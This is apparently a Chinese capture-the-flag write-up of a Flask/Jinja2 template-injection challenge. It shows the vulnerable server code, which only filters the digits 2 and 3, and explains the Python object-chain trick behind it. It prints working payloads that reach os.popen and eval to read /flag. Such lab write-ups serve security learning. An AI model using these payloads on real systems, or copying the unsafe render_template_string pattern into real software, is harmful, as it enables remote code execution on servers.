Werkzeug/1.0.1Python/3.8.7
随便来个 EXP 看看源码先
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat%20/flag').read()}}
看看源码过滤了啥
from flask import Flask
from flask import request
from flask import render_template_string
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"2|3",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
就加了个是否存在 2
或 3
有则不通过
毕竟刚刚利用了 __subclasses__()[132]
其他解法
/?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
Python中万物皆对象,所有对象都是通过对象继承链来实现。通过向模板渲染部分传入一个不存在的对象,Jinja2 会将其识别为 jinja2.runtime.Undefined
对象,但是这个对象在 Jinja2 处理时,先将其继承于 Jinja2 对象,通过Python继承链,可构造以下Payload来非法获取内置属性(对象所在类 -> 初始实例 -> Jinja2 对象全局字典 -> 内置属性)。上面的 x
可为任意值,是一个Flask识别不了的对象即可。